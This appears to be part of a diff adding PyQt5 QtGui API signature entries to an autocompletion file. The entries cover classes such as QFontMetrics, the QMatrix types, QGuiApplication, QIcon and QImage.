+QtGui.QFontMetrics.ascent?4() -> int +QtGui.QFontMetrics.descent?4() -> int +QtGui.QFontMetrics.height?4() -> int +QtGui.QFontMetrics.leading?4() -> int +QtGui.QFontMetrics.lineSpacing?4() -> int +QtGui.QFontMetrics.minLeftBearing?4() -> int +QtGui.QFontMetrics.minRightBearing?4() -> int +QtGui.QFontMetrics.maxWidth?4() -> int +QtGui.QFontMetrics.xHeight?4() -> int +QtGui.QFontMetrics.inFont?4(QChar) -> bool +QtGui.QFontMetrics.leftBearing?4(QChar) -> int +QtGui.QFontMetrics.rightBearing?4(QChar) -> int +QtGui.QFontMetrics.widthChar?4(QChar) -> int +QtGui.QFontMetrics.width?4(QString, int length=-1) -> int +QtGui.QFontMetrics.boundingRectChar?4(QChar) -> QRect +QtGui.QFontMetrics.boundingRect?4(QString) -> QRect +QtGui.QFontMetrics.boundingRect?4(QRect, int, QString, int tabStops=0, list tabArray=0) -> QRect +QtGui.QFontMetrics.boundingRect?4(int, int, int, int, int, QString, int tabStops=0, list tabArray=0) -> QRect +QtGui.QFontMetrics.size?4(int, QString, int tabStops=0, list tabArray=0) -> QSize +QtGui.QFontMetrics.underlinePos?4() -> int +QtGui.QFontMetrics.overlinePos?4() -> int +QtGui.QFontMetrics.strikeOutPos?4() -> int +QtGui.QFontMetrics.lineWidth?4() -> int +QtGui.QFontMetrics.averageCharWidth?4() -> int +QtGui.QFontMetrics.elidedText?4(QString, Qt.TextElideMode, int, int flags=0) -> QString +QtGui.QFontMetrics.tightBoundingRect?4(QString) -> QRect +QtGui.QFontMetrics.inFontUcs4?4(int) -> bool +QtGui.QFontMetrics.swap?4(QFontMetrics) +QtGui.QFontMetrics.capHeight?4() -> int +QtGui.QFontMetrics.horizontalAdvance?4(QString, int length=-1) -> int +QtGui.QFontMetrics.fontDpi?4() -> float +QtGui.QFontMetricsF?1(QFont) +QtGui.QFontMetricsF.__init__?1(self, QFont) +QtGui.QFontMetricsF?1(QFont, QPaintDevice) +QtGui.QFontMetricsF.__init__?1(self, QFont, QPaintDevice) +QtGui.QFontMetricsF?1(QFontMetrics) +QtGui.QFontMetricsF.__init__?1(self, QFontMetrics) +QtGui.QFontMetricsF?1(QFontMetricsF) +QtGui.QFontMetricsF.__init__?1(self, QFontMetricsF) +QtGui.QFontMetricsF.ascent?4() -> float +QtGui.QFontMetricsF.descent?4() -> float +QtGui.QFontMetricsF.height?4() -> float +QtGui.QFontMetricsF.leading?4() -> float +QtGui.QFontMetricsF.lineSpacing?4() -> float +QtGui.QFontMetricsF.minLeftBearing?4() -> float +QtGui.QFontMetricsF.minRightBearing?4() -> float +QtGui.QFontMetricsF.maxWidth?4() -> float +QtGui.QFontMetricsF.xHeight?4() -> float +QtGui.QFontMetricsF.inFont?4(QChar) -> bool +QtGui.QFontMetricsF.leftBearing?4(QChar) -> float +QtGui.QFontMetricsF.rightBearing?4(QChar) -> float +QtGui.QFontMetricsF.widthChar?4(QChar) -> float +QtGui.QFontMetricsF.width?4(QString) -> float +QtGui.QFontMetricsF.boundingRectChar?4(QChar) -> QRectF +QtGui.QFontMetricsF.boundingRect?4(QString) -> QRectF +QtGui.QFontMetricsF.boundingRect?4(QRectF, int, QString, int tabStops=0, list tabArray=0) -> QRectF +QtGui.QFontMetricsF.size?4(int, QString, int tabStops=0, list tabArray=0) -> QSizeF +QtGui.QFontMetricsF.underlinePos?4() -> float +QtGui.QFontMetricsF.overlinePos?4() -> float +QtGui.QFontMetricsF.strikeOutPos?4() -> float +QtGui.QFontMetricsF.lineWidth?4() -> float +QtGui.QFontMetricsF.averageCharWidth?4() -> float +QtGui.QFontMetricsF.elidedText?4(QString, Qt.TextElideMode, float, int flags=0) -> QString +QtGui.QFontMetricsF.tightBoundingRect?4(QString) -> QRectF +QtGui.QFontMetricsF.inFontUcs4?4(int) -> bool +QtGui.QFontMetricsF.swap?4(QFontMetricsF) +QtGui.QFontMetricsF.capHeight?4() -> float +QtGui.QFontMetricsF.horizontalAdvance?4(QString, int length=-1) -> float +QtGui.QFontMetricsF.fontDpi?4() -> float +QtGui.QMatrix4x3?1() +QtGui.QMatrix4x3.__init__?1(self) +QtGui.QMatrix4x3?1(QMatrix4x3) +QtGui.QMatrix4x3.__init__?1(self, QMatrix4x3) +QtGui.QMatrix4x3?1(object) +QtGui.QMatrix4x3.__init__?1(self, object) +QtGui.QMatrix4x3.data?4() -> list +QtGui.QMatrix4x3.copyDataTo?4() -> list +QtGui.QMatrix4x3.isIdentity?4() -> bool +QtGui.QMatrix4x3.setToIdentity?4() +QtGui.QMatrix4x3.fill?4(float) +QtGui.QMatrix4x3.transposed?4() -> QMatrix3x4 +QtGui.QMatrix4x2?1() +QtGui.QMatrix4x2.__init__?1(self) +QtGui.QMatrix4x2?1(QMatrix4x2) +QtGui.QMatrix4x2.__init__?1(self, QMatrix4x2) +QtGui.QMatrix4x2?1(object) +QtGui.QMatrix4x2.__init__?1(self, object) +QtGui.QMatrix4x2.data?4() -> list +QtGui.QMatrix4x2.copyDataTo?4() -> list +QtGui.QMatrix4x2.isIdentity?4() -> bool +QtGui.QMatrix4x2.setToIdentity?4() +QtGui.QMatrix4x2.fill?4(float) +QtGui.QMatrix4x2.transposed?4() -> QMatrix2x4 +QtGui.QMatrix3x4?1() +QtGui.QMatrix3x4.__init__?1(self) +QtGui.QMatrix3x4?1(QMatrix3x4) +QtGui.QMatrix3x4.__init__?1(self, QMatrix3x4) +QtGui.QMatrix3x4?1(object) +QtGui.QMatrix3x4.__init__?1(self, object) +QtGui.QMatrix3x4.data?4() -> list +QtGui.QMatrix3x4.copyDataTo?4() -> list +QtGui.QMatrix3x4.isIdentity?4() -> bool +QtGui.QMatrix3x4.setToIdentity?4() +QtGui.QMatrix3x4.fill?4(float) +QtGui.QMatrix3x4.transposed?4() -> QMatrix4x3 +QtGui.QMatrix3x3?1() +QtGui.QMatrix3x3.__init__?1(self) +QtGui.QMatrix3x3?1(QMatrix3x3) +QtGui.QMatrix3x3.__init__?1(self, QMatrix3x3) +QtGui.QMatrix3x3?1(object) +QtGui.QMatrix3x3.__init__?1(self, object) +QtGui.QMatrix3x3.data?4() -> list +QtGui.QMatrix3x3.copyDataTo?4() -> list +QtGui.QMatrix3x3.isIdentity?4() -> bool +QtGui.QMatrix3x3.setToIdentity?4() +QtGui.QMatrix3x3.fill?4(float) +QtGui.QMatrix3x3.transposed?4() -> QMatrix3x3 +QtGui.QMatrix3x2?1() +QtGui.QMatrix3x2.__init__?1(self) +QtGui.QMatrix3x2?1(QMatrix3x2) +QtGui.QMatrix3x2.__init__?1(self, QMatrix3x2) +QtGui.QMatrix3x2?1(object) +QtGui.QMatrix3x2.__init__?1(self, object) +QtGui.QMatrix3x2.data?4() -> list +QtGui.QMatrix3x2.copyDataTo?4() -> list +QtGui.QMatrix3x2.isIdentity?4() -> bool +QtGui.QMatrix3x2.setToIdentity?4() +QtGui.QMatrix3x2.fill?4(float) +QtGui.QMatrix3x2.transposed?4() -> QMatrix2x3 +QtGui.QMatrix2x4?1() +QtGui.QMatrix2x4.__init__?1(self) +QtGui.QMatrix2x4?1(QMatrix2x4) +QtGui.QMatrix2x4.__init__?1(self, QMatrix2x4) +QtGui.QMatrix2x4?1(object) +QtGui.QMatrix2x4.__init__?1(self, object) +QtGui.QMatrix2x4.data?4() -> list +QtGui.QMatrix2x4.copyDataTo?4() -> list +QtGui.QMatrix2x4.isIdentity?4() -> bool +QtGui.QMatrix2x4.setToIdentity?4() +QtGui.QMatrix2x4.fill?4(float) +QtGui.QMatrix2x4.transposed?4() -> QMatrix4x2 +QtGui.QMatrix2x3?1() +QtGui.QMatrix2x3.__init__?1(self) +QtGui.QMatrix2x3?1(QMatrix2x3) +QtGui.QMatrix2x3.__init__?1(self, QMatrix2x3) +QtGui.QMatrix2x3?1(object) +QtGui.QMatrix2x3.__init__?1(self, object) +QtGui.QMatrix2x3.data?4() -> list +QtGui.QMatrix2x3.copyDataTo?4() -> list +QtGui.QMatrix2x3.isIdentity?4() -> bool +QtGui.QMatrix2x3.setToIdentity?4() +QtGui.QMatrix2x3.fill?4(float) +QtGui.QMatrix2x3.transposed?4() -> QMatrix3x2 +QtGui.QMatrix2x2?1() +QtGui.QMatrix2x2.__init__?1(self) +QtGui.QMatrix2x2?1(QMatrix2x2) +QtGui.QMatrix2x2.__init__?1(self, QMatrix2x2) +QtGui.QMatrix2x2?1(object) +QtGui.QMatrix2x2.__init__?1(self, object) +QtGui.QMatrix2x2.data?4() -> list +QtGui.QMatrix2x2.copyDataTo?4() -> list +QtGui.QMatrix2x2.isIdentity?4() -> bool +QtGui.QMatrix2x2.setToIdentity?4() +QtGui.QMatrix2x2.fill?4(float) +QtGui.QMatrix2x2.transposed?4() -> QMatrix2x2 +QtGui.QGlyphRun.GlyphRunFlag?10 +QtGui.QGlyphRun.GlyphRunFlag.Overline?10 +QtGui.QGlyphRun.GlyphRunFlag.Underline?10 +QtGui.QGlyphRun.GlyphRunFlag.StrikeOut?10 +QtGui.QGlyphRun.GlyphRunFlag.RightToLeft?10 +QtGui.QGlyphRun.GlyphRunFlag.SplitLigature?10 +QtGui.QGlyphRun?1() +QtGui.QGlyphRun.__init__?1(self) +QtGui.QGlyphRun?1(QGlyphRun) +QtGui.QGlyphRun.__init__?1(self, QGlyphRun) +QtGui.QGlyphRun.rawFont?4() -> QRawFont +QtGui.QGlyphRun.setRawFont?4(QRawFont) +QtGui.QGlyphRun.glyphIndexes?4() -> unknown-type +QtGui.QGlyphRun.setGlyphIndexes?4(unknown-type) +QtGui.QGlyphRun.positions?4() -> unknown-type +QtGui.QGlyphRun.setPositions?4(unknown-type) +QtGui.QGlyphRun.clear?4() +QtGui.QGlyphRun.setOverline?4(bool) +QtGui.QGlyphRun.overline?4() -> bool +QtGui.QGlyphRun.setUnderline?4(bool) +QtGui.QGlyphRun.underline?4() -> bool +QtGui.QGlyphRun.setStrikeOut?4(bool) +QtGui.QGlyphRun.strikeOut?4() -> bool +QtGui.QGlyphRun.setRightToLeft?4(bool) +QtGui.QGlyphRun.isRightToLeft?4() -> bool +QtGui.QGlyphRun.setFlag?4(QGlyphRun.GlyphRunFlag, bool enabled=True) +QtGui.QGlyphRun.setFlags?4(QGlyphRun.GlyphRunFlags) +QtGui.QGlyphRun.flags?4() -> QGlyphRun.GlyphRunFlags +QtGui.QGlyphRun.setBoundingRect?4(QRectF) +QtGui.QGlyphRun.boundingRect?4() -> QRectF +QtGui.QGlyphRun.isEmpty?4() -> bool +QtGui.QGlyphRun.swap?4(QGlyphRun) +QtGui.QGlyphRun.GlyphRunFlags?1() +QtGui.QGlyphRun.GlyphRunFlags.__init__?1(self) +QtGui.QGlyphRun.GlyphRunFlags?1(int) +QtGui.QGlyphRun.GlyphRunFlags.__init__?1(self, int) +QtGui.QGlyphRun.GlyphRunFlags?1(QGlyphRun.GlyphRunFlags) +QtGui.QGlyphRun.GlyphRunFlags.__init__?1(self, QGlyphRun.GlyphRunFlags) +QtGui.QGuiApplication?1(list) +QtGui.QGuiApplication.__init__?1(self, list) +QtGui.QGuiApplication.allWindows?4() -> unknown-type +QtGui.QGuiApplication.topLevelWindows?4() -> unknown-type +QtGui.QGuiApplication.topLevelAt?4(QPoint) -> QWindow +QtGui.QGuiApplication.platformName?4() -> QString +QtGui.QGuiApplication.focusWindow?4() -> QWindow +QtGui.QGuiApplication.focusObject?4() -> QObject +QtGui.QGuiApplication.primaryScreen?4() -> QScreen +QtGui.QGuiApplication.screens?4() -> unknown-type +QtGui.QGuiApplication.overrideCursor?4() -> QCursor +QtGui.QGuiApplication.setOverrideCursor?4(QCursor) +QtGui.QGuiApplication.changeOverrideCursor?4(QCursor) +QtGui.QGuiApplication.restoreOverrideCursor?4() +QtGui.QGuiApplication.font?4() -> QFont +QtGui.QGuiApplication.setFont?4(QFont) +QtGui.QGuiApplication.clipboard?4() -> QClipboard +QtGui.QGuiApplication.palette?4() -> QPalette +QtGui.QGuiApplication.setPalette?4(QPalette) +QtGui.QGuiApplication.keyboardModifiers?4() -> Qt.KeyboardModifiers +QtGui.QGuiApplication.queryKeyboardModifiers?4() -> Qt.KeyboardModifiers +QtGui.QGuiApplication.mouseButtons?4() -> Qt.MouseButtons +QtGui.QGuiApplication.setLayoutDirection?4(Qt.LayoutDirection) +QtGui.QGuiApplication.layoutDirection?4() -> Qt.LayoutDirection +QtGui.QGuiApplication.isRightToLeft?4() -> bool +QtGui.QGuiApplication.isLeftToRight?4() -> bool +QtGui.QGuiApplication.setDesktopSettingsAware?4(bool) +QtGui.QGuiApplication.desktopSettingsAware?4() -> bool +QtGui.QGuiApplication.setQuitOnLastWindowClosed?4(bool) +QtGui.QGuiApplication.quitOnLastWindowClosed?4() -> bool +QtGui.QGuiApplication.exec_?4() -> int +QtGui.QGuiApplication.exec?4() -> int +QtGui.QGuiApplication.notify?4(QObject, QEvent) -> bool +QtGui.QGuiApplication.fontDatabaseChanged?4() +QtGui.QGuiApplication.screenAdded?4(QScreen) +QtGui.QGuiApplication.lastWindowClosed?4() +QtGui.QGuiApplication.focusObjectChanged?4(QObject) +QtGui.QGuiApplication.commitDataRequest?4(QSessionManager) +QtGui.QGuiApplication.saveStateRequest?4(QSessionManager) +QtGui.QGuiApplication.focusWindowChanged?4(QWindow) +QtGui.QGuiApplication.applicationStateChanged?4(Qt.ApplicationState) +QtGui.QGuiApplication.applicationDisplayNameChanged?4() +QtGui.QGuiApplication.setApplicationDisplayName?4(QString) +QtGui.QGuiApplication.applicationDisplayName?4() -> QString +QtGui.QGuiApplication.modalWindow?4() -> QWindow +QtGui.QGuiApplication.styleHints?4() -> QStyleHints +QtGui.QGuiApplication.inputMethod?4() -> QInputMethod +QtGui.QGuiApplication.devicePixelRatio?4() -> float +QtGui.QGuiApplication.isSessionRestored?4() -> bool +QtGui.QGuiApplication.sessionId?4() -> QString +QtGui.QGuiApplication.sessionKey?4() -> QString +QtGui.QGuiApplication.isSavingSession?4() -> bool +QtGui.QGuiApplication.applicationState?4() -> Qt.ApplicationState +QtGui.QGuiApplication.sync?4() +QtGui.QGuiApplication.setWindowIcon?4(QIcon) +QtGui.QGuiApplication.windowIcon?4() -> QIcon +QtGui.QGuiApplication.event?4(QEvent) -> bool +QtGui.QGuiApplication.screenRemoved?4(QScreen) +QtGui.QGuiApplication.layoutDirectionChanged?4(Qt.LayoutDirection) +QtGui.QGuiApplication.paletteChanged?4(QPalette) +QtGui.QGuiApplication.isFallbackSessionManagementEnabled?4() -> bool +QtGui.QGuiApplication.setFallbackSessionManagementEnabled?4(bool) +QtGui.QGuiApplication.primaryScreenChanged?4(QScreen) +QtGui.QGuiApplication.setDesktopFileName?4(QString) +QtGui.QGuiApplication.desktopFileName?4() -> QString +QtGui.QGuiApplication.screenAt?4(QPoint) -> QScreen +QtGui.QGuiApplication.fontChanged?4(QFont) +QtGui.QGuiApplication.setHighDpiScaleFactorRoundingPolicy?4(Qt.HighDpiScaleFactorRoundingPolicy) +QtGui.QGuiApplication.highDpiScaleFactorRoundingPolicy?4() -> Qt.HighDpiScaleFactorRoundingPolicy +QtGui.QIcon.State?10 +QtGui.QIcon.State.On?10 +QtGui.QIcon.State.Off?10 +QtGui.QIcon.Mode?10 +QtGui.QIcon.Mode.Normal?10 +QtGui.QIcon.Mode.Disabled?10 +QtGui.QIcon.Mode.Active?10 +QtGui.QIcon.Mode.Selected?10 +QtGui.QIcon?1() +QtGui.QIcon.__init__?1(self) +QtGui.QIcon?1(QPixmap) +QtGui.QIcon.__init__?1(self, QPixmap) +QtGui.QIcon?1(QIcon) +QtGui.QIcon.__init__?1(self, QIcon) +QtGui.QIcon?1(QString) +QtGui.QIcon.__init__?1(self, QString) +QtGui.QIcon?1(QIconEngine) +QtGui.QIcon.__init__?1(self, QIconEngine) +QtGui.QIcon?1(QVariant) +QtGui.QIcon.__init__?1(self, QVariant) +QtGui.QIcon.pixmap?4(QSize, QIcon.Mode mode=QIcon.Normal, QIcon.State state=QIcon.Off) -> QPixmap +QtGui.QIcon.pixmap?4(int, int, QIcon.Mode mode=QIcon.Normal, QIcon.State state=QIcon.Off) -> QPixmap +QtGui.QIcon.pixmap?4(int, QIcon.Mode mode=QIcon.Normal, QIcon.State state=QIcon.Off) -> QPixmap +QtGui.QIcon.pixmap?4(QWindow, QSize, QIcon.Mode mode=QIcon.Normal, QIcon.State state=QIcon.Off) -> QPixmap +QtGui.QIcon.actualSize?4(QSize, QIcon.Mode mode=QIcon.Normal, QIcon.State state=QIcon.Off) -> QSize +QtGui.QIcon.actualSize?4(QWindow, QSize, QIcon.Mode mode=QIcon.Normal, QIcon.State state=QIcon.Off) -> QSize +QtGui.QIcon.availableSizes?4(QIcon.Mode mode=QIcon.Normal, QIcon.State state=QIcon.Off) -> unknown-type +QtGui.QIcon.paint?4(QPainter, QRect, Qt.Alignment alignment=Qt.AlignCenter, QIcon.Mode mode=QIcon.Normal, QIcon.State state=QIcon.Off) +QtGui.QIcon.paint?4(QPainter, int, int, int, int, Qt.Alignment alignment=Qt.AlignCenter, QIcon.Mode mode=QIcon.Normal, QIcon.State state=QIcon.Off) +QtGui.QIcon.isNull?4() -> bool +QtGui.QIcon.isDetached?4() -> bool +QtGui.QIcon.addPixmap?4(QPixmap, QIcon.Mode mode=QIcon.Normal, QIcon.State state=QIcon.Off) +QtGui.QIcon.addFile?4(QString, QSize size=QSize(), QIcon.Mode mode=QIcon.Normal, QIcon.State state=QIcon.Off) +QtGui.QIcon.cacheKey?4() -> int +QtGui.QIcon.fromTheme?4(QString) -> QIcon +QtGui.QIcon.fromTheme?4(QString, QIcon) -> QIcon +QtGui.QIcon.hasThemeIcon?4(QString) -> bool +QtGui.QIcon.themeSearchPaths?4() -> QStringList +QtGui.QIcon.setThemeSearchPaths?4(QStringList) +QtGui.QIcon.themeName?4() -> QString +QtGui.QIcon.setThemeName?4(QString) +QtGui.QIcon.name?4() -> QString +QtGui.QIcon.swap?4(QIcon) +QtGui.QIcon.setIsMask?4(bool) +QtGui.QIcon.isMask?4() -> bool +QtGui.QIcon.fallbackSearchPaths?4() -> QStringList +QtGui.QIcon.setFallbackSearchPaths?4(QStringList) +QtGui.QIcon.fallbackThemeName?4() -> QString +QtGui.QIcon.setFallbackThemeName?4(QString) +QtGui.QIconEngine.IconEngineHook?10 +QtGui.QIconEngine.IconEngineHook.AvailableSizesHook?10 +QtGui.QIconEngine.IconEngineHook.IconNameHook?10 +QtGui.QIconEngine.IconEngineHook.IsNullHook?10 +QtGui.QIconEngine.IconEngineHook.ScaledPixmapHook?10 +QtGui.QIconEngine?1() +QtGui.QIconEngine.__init__?1(self) +QtGui.QIconEngine?1(QIconEngine) +QtGui.QIconEngine.__init__?1(self, QIconEngine) +QtGui.QIconEngine.paint?4(QPainter, QRect, QIcon.Mode, QIcon.State) +QtGui.QIconEngine.actualSize?4(QSize, QIcon.Mode, QIcon.State) -> QSize +QtGui.QIconEngine.pixmap?4(QSize, QIcon.Mode, QIcon.State) -> QPixmap +QtGui.QIconEngine.addPixmap?4(QPixmap, QIcon.Mode, QIcon.State) +QtGui.QIconEngine.addFile?4(QString, QSize, QIcon.Mode, QIcon.State) +QtGui.QIconEngine.key?4() -> QString +QtGui.QIconEngine.clone?4() -> QIconEngine +QtGui.QIconEngine.read?4(QDataStream) -> bool +QtGui.QIconEngine.write?4(QDataStream) -> bool +QtGui.QIconEngine.availableSizes?4(QIcon.Mode mode=QIcon.Normal, QIcon.State state=QIcon.Off) -> unknown-type +QtGui.QIconEngine.iconName?4() -> QString +QtGui.QIconEngine.isNull?4() -> bool +QtGui.QIconEngine.scaledPixmap?4(QSize, QIcon.Mode, QIcon.State, float) -> QPixmap +QtGui.QIconEngine.AvailableSizesArgument.mode?7 +QtGui.QIconEngine.AvailableSizesArgument.sizes?7 +QtGui.QIconEngine.AvailableSizesArgument.state?7 +QtGui.QIconEngine.AvailableSizesArgument?1() +QtGui.QIconEngine.AvailableSizesArgument.__init__?1(self) +QtGui.QIconEngine.AvailableSizesArgument?1(QIconEngine.AvailableSizesArgument) +QtGui.QIconEngine.AvailableSizesArgument.__init__?1(self, QIconEngine.AvailableSizesArgument) +QtGui.QIconEngine.ScaledPixmapArgument.mode?7 +QtGui.QIconEngine.ScaledPixmapArgument.pixmap?7 +QtGui.QIconEngine.ScaledPixmapArgument.scale?7 +QtGui.QIconEngine.ScaledPixmapArgument.size?7 +QtGui.QIconEngine.ScaledPixmapArgument.state?7 +QtGui.QIconEngine.ScaledPixmapArgument?1() +QtGui.QIconEngine.ScaledPixmapArgument.__init__?1(self) +QtGui.QIconEngine.ScaledPixmapArgument?1(QIconEngine.ScaledPixmapArgument) +QtGui.QIconEngine.ScaledPixmapArgument.__init__?1(self, QIconEngine.ScaledPixmapArgument) +QtGui.QImage.Format?10 +QtGui.QImage.Format.Format_Invalid?10 +QtGui.QImage.Format.Format_Mono?10 +QtGui.QImage.Format.Format_MonoLSB?10 +QtGui.QImage.Format.Format_Indexed8?10 +QtGui.QImage.Format.Format_RGB32?10 +QtGui.QImage.Format.Format_ARGB32?10 +QtGui.QImage.Format.Format_ARGB32_Premultiplied?10 +QtGui.QImage.Format.Format_RGB16?10 +QtGui.QImage.Format.Format_ARGB8565_Premultiplied?10 +QtGui.QImage.Format.Format_RGB666?10 +QtGui.QImage.Format.Format_ARGB6666_Premultiplied?10 +QtGui.QImage.Format.Format_RGB555?10 +QtGui.QImage.Format.Format_ARGB8555_Premultiplied?10 +QtGui.QImage.Format.Format_RGB888?10 +QtGui.QImage.Format.Format_RGB444?10 +QtGui.QImage.Format.Format_ARGB4444_Premultiplied?10 +QtGui.QImage.Format.Format_RGBX8888?10 +QtGui.QImage.Format.Format_RGBA8888?10 +QtGui.QImage.Format.Format_RGBA8888_Premultiplied?10 +QtGui.QImage.Format.Format_BGR30?10 +QtGui.QImage.Format.Format_A2BGR30_Premultiplied?10 +QtGui.QImage.Format.Format_RGB30?10 +QtGui.QImage.Format.Format_A2RGB30_Premultiplied?10 +QtGui.QImage.Format.Format_Alpha8?10 +QtGui.QImage.Format.Format_Grayscale8?10 +QtGui.QImage.Format.Format_RGBX64?10 +QtGui.QImage.Format.Format_RGBA64?10 +QtGui.QImage.Format.Format_RGBA64_Premultiplied?10 +QtGui.QImage.Format.Format_Grayscale16?10 +QtGui.QImage.Format.Format_BGR888?10 +QtGui.QImage.InvertMode?10 +QtGui.QImage.InvertMode.InvertRgb?10 +QtGui.QImage.InvertMode.InvertRgba?10 +QtGui.QImage?1() +QtGui.QImage.__init__?1(self) +QtGui.QImage?1(QSize, QImage.Format) +QtGui.QImage.__init__?1(self, QSize, QImage.Format) +QtGui.QImage?1(int, int, QImage.Format) +QtGui.QImage.__init__?1(self, int, int, QImage.Format) +QtGui.QImage?1(bytes, int, int, QImage.Format) +QtGui.QImage.__init__?1(self, bytes, int, int, QImage.Format) +QtGui.QImage?1(sip.voidptr, int, int, QImage.Format) +QtGui.QImage.__init__?1(self, sip.voidptr, int, int, QImage.Format) +QtGui.QImage?1(bytes, int, int, int, QImage.Format) +QtGui.QImage.__init__?1(self, bytes, int, int, int, QImage.Format) +QtGui.QImage?1(sip.voidptr, int, int, int, QImage.Format) +QtGui.QImage.__init__?1(self, sip.voidptr, int, int, int, QImage.Format) +QtGui.QImage?1(list) +QtGui.QImage.__init__?1(self, list) +QtGui.QImage?1(QString, str format=None) +QtGui.QImage.__init__?1(self, QString, str format=None) +QtGui.QImage?1(QImage) +QtGui.QImage.__init__?1(self, QImage) +QtGui.QImage?1(QVariant) +QtGui.QImage.__init__?1(self, QVariant) +QtGui.QImage.isNull?4() -> bool +QtGui.QImage.devType?4() -> int +QtGui.QImage.detach?4() +QtGui.QImage.isDetached?4() -> bool +QtGui.QImage.copy?4(QRect rect=QRect()) -> QImage +QtGui.QImage.copy?4(int, int, int, int) -> QImage +QtGui.QImage.format?4() -> QImage.Format +QtGui.QImage.convertToFormat?4(QImage.Format, Qt.ImageConversionFlags flags=Qt.ImageConversionFlag.AutoColor) -> QImage +QtGui.QImage.convertToFormat?4(QImage.Format, unknown-type, Qt.ImageConversionFlags flags=Qt.ImageConversionFlag.AutoColor) -> QImage +QtGui.QImage.width?4() -> int +QtGui.QImage.height?4() -> int +QtGui.QImage.size?4() -> QSize +QtGui.QImage.rect?4() -> QRect +QtGui.QImage.depth?4() -> int +QtGui.QImage.color?4(int) -> int +QtGui.QImage.setColor?4(int, int) +QtGui.QImage.allGray?4() -> bool +QtGui.QImage.isGrayscale?4() -> bool +QtGui.QImage.bits?4() -> sip.voidptr +QtGui.QImage.constBits?4() -> sip.voidptr +QtGui.QImage.scanLine?4(int) -> sip.voidptr +QtGui.QImage.constScanLine?4(int) -> sip.voidptr +QtGui.QImage.bytesPerLine?4() -> int +QtGui.QImage.valid?4(QPoint) -> bool +QtGui.QImage.valid?4(int, int) -> bool +QtGui.QImage.pixelIndex?4(QPoint) -> int +QtGui.QImage.pixelIndex?4(int, int) -> int +QtGui.QImage.pixel?4(QPoint) -> int +QtGui.QImage.pixel?4(int, int) -> int +QtGui.QImage.setPixel?4(QPoint, int) +QtGui.QImage.setPixel?4(int, int, int) +QtGui.QImage.colorTable?4() -> unknown-type +QtGui.QImage.setColorTable?4(unknown-type) +QtGui.QImage.fill?4(Qt.GlobalColor) +QtGui.QImage.fill?4(QColor) +QtGui.QImage.fill?4(int) +QtGui.QImage.hasAlphaChannel?4() -> bool +QtGui.QImage.setAlphaChannel?4(QImage) +QtGui.QImage.createAlphaMask?4(Qt.ImageConversionFlags flags=Qt.ImageConversionFlag.AutoColor) -> QImage +QtGui.QImage.createHeuristicMask?4(bool clipTight=True) -> QImage +QtGui.QImage.scaled?4(int, int, Qt.AspectRatioMode aspectRatioMode=Qt.IgnoreAspectRatio, Qt.TransformationMode transformMode=Qt.FastTransformation) -> QImage +QtGui.QImage.scaled?4(QSize, Qt.AspectRatioMode aspectRatioMode=Qt.IgnoreAspectRatio, Qt.TransformationMode transformMode=Qt.FastTransformation) -> QImage +QtGui.QImage.scaledToWidth?4(int, Qt.TransformationMode mode=Qt.FastTransformation) -> QImage +QtGui.QImage.scaledToHeight?4(int, Qt.TransformationMode mode=Qt.FastTransformation) -> QImage +QtGui.QImage.mirrored?4(bool horizontal=False, bool vertical=True) -> QImage +QtGui.QImage.rgbSwapped?4() -> QImage +QtGui.QImage.invertPixels?4(QImage.InvertMode mode=QImage.InvertRgb) +QtGui.QImage.load?4(QIODevice, str) -> bool +QtGui.QImage.load?4(QString, str format=None) -> bool +QtGui.QImage.loadFromData?4(bytes, str format=None) -> bool +QtGui.QImage.loadFromData?4(QByteArray, str format=None) -> bool +QtGui.QImage.save?4(QString, str format=None, int quality=-1) -> bool +QtGui.QImage.save?4(QIODevice, str format=None, int quality=-1) -> bool +QtGui.QImage.fromData?4(bytes, str format=None) -> QImage +QtGui.QImage.fromData?4(QByteArray, str format=None) -> QImage +QtGui.QImage.paintEngine?4() -> QPaintEngine +QtGui.QImage.dotsPerMeterX?4() -> int +QtGui.QImage.dotsPerMeterY?4() -> int +QtGui.QImage.setDotsPerMeterX?4(int) +QtGui.QImage.setDotsPerMeterY?4(int) +QtGui.QImage.offset?4() -> QPoint +QtGui.QImage.setOffset?4(QPoint) +QtGui.QImage.textKeys?4() -> QStringList +QtGui.QImage.text?4(QString key='') -> QString +QtGui.QImage.setText?4(QString, QString) +QtGui.QImage.metric?4(QPaintDevice.PaintDeviceMetric) -> int +QtGui.QImage.smoothScaled?4(int, int) -> QImage +QtGui.QImage.createMaskFromColor?4(int, Qt.MaskMode mode=Qt.MaskInColor) -> QImage +QtGui.QImage.transformed?4(QTransform, Qt.TransformationMode mode=Qt.FastTransformation) -> QImage +QtGui.QImage.trueMatrix?4(QTransform, int, int) -> QTransform +QtGui.QImage.cacheKey?4() -> int +QtGui.QImage.colorCount?4() -> int +QtGui.QImage.setColorCount?4(int) +QtGui.QImage.byteCount?4() -> int +QtGui.QImage.bitPlaneCount?4() -> int +QtGui.QImage.swap?4(QImage) +QtGui.QImage.devicePixelRatio?4() -> float +QtGui.QImage.setDevicePixelRatio?4(float) +QtGui.QImage.pixelFormat?4() -> QPixelFormat +QtGui.QImage.toPixelFormat?4(QImage.Format) -> QPixelFormat +QtGui.QImage.toImageFormat?4(QPixelFormat) -> QImage.Format +QtGui.QImage.pixelColor?4(int, int) -> QColor +QtGui.QImage.pixelColor?4(QPoint) -> QColor +QtGui.QImage.setPixelColor?4(int, int, QColor) +QtGui.QImage.setPixelColor?4(QPoint, QColor) +QtGui.QImage.reinterpretAsFormat?4(QImage.Format) -> bool +QtGui.QImage.sizeInBytes?4() -> int +QtGui.QImage.convertTo?4(QImage.Format, Qt.ImageConversionFlags flags=Qt.ImageConversionFlag.AutoColor) +QtGui.QImage.colorSpace?4() -> QColorSpace +QtGui.QImage.convertedToColorSpace?4(QColorSpace) -> QImage +QtGui.QImage.convertToColorSpace?4(QColorSpace) +QtGui.QImage.setColorSpace?4(QColorSpace) +QtGui.QImage.applyColorTransform?4(QColorTransform) +QtGui.QImageIOHandler.Transformation?10 +QtGui.QImageIOHandler.Transformation.TransformationNone?10 +QtGui.QImageIOHandler.Transformation.TransformationMirror?10 +QtGui.QImageIOHandler.Transformation.TransformationFlip?10 +QtGui.QImageIOHandler.Transformation.TransformationRotate180?10 +QtGui.QImageIOHandler.Transformation.TransformationRotate90?10 +QtGui.QImageIOHandler.Transformation.TransformationMirrorAndRotate90?10 +QtGui.QImageIOHandler.Transformation.TransformationFlipAndRotate90?10 +QtGui.QImageIOHandler.Transformation.TransformationRotate270?10 +QtGui.QImageIOHandler.ImageOption?10 +QtGui.QImageIOHandler.ImageOption.Size?10 